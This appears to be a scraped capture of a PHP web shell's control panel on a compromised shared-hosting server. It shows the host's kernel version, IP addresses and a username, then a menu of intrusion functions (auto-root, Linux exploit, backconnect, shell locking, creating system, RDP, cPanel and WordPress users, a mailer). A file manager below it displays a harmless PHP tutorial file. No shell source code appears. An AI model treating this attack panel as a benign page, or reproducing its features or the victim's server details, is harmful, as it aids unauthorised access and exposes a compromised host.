Linux premium155.web-hosting.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
LiteSpeed
: 162.0.235.200 | : 3.144.255.116
Cant Read [ /etc/named.conf ]
7.4.33
varifktc
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
opt /
alt /
php55 /
usr /
share /
doc /
pear /
Base /
docs /
[ HOME SHELL ]
Name
Size
Permission
Action
repos
[ DIR ]
drwxr-xr-x
CREDITS
229
B
-rw-r--r--
LICENSE
1.53
KB
-rw-r--r--
tutorial.txt
8.59
KB
-rw-r--r--
tutorial_autoload.php
495
B
-rw-r--r--
tutorial_example_01.php
215
B
-rw-r--r--
tutorial_example_02.php
189
B
-rw-r--r--
tutorial_example_03.php
107
B
-rw-r--r--
tutorial_example_04.php
1.39
KB
-rw-r--r--
tutorial_lazy_initialization.p...
914
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : tutorial_lazy_initialization.php
<?php require_once 'tutorial_autoload.php'; // Create a custom class implementing the singleton pattern class customSingleton { protected static $instance; public static function getInstance() { if ( self::$instance === null ) { self::$instance = new customSingleton(); ezcBaseInit::fetchConfig( 'customKey', self::$instance ); } return self::$instance; } } // Implement your configuration class class customSingletonConfiguration implements ezcBaseConfigurationInitializer { public static function configureObject( $object ) { echo "Configure customSingleton.\n"; $object->value = 42; } } // Register for lazy initilization ezcBaseInit::setCallback( 'customKey', 'customSingletonConfiguration' ); // Configure on first initilization $object = customSingleton::getInstance(); var_dump( $object->value ); ?>
Close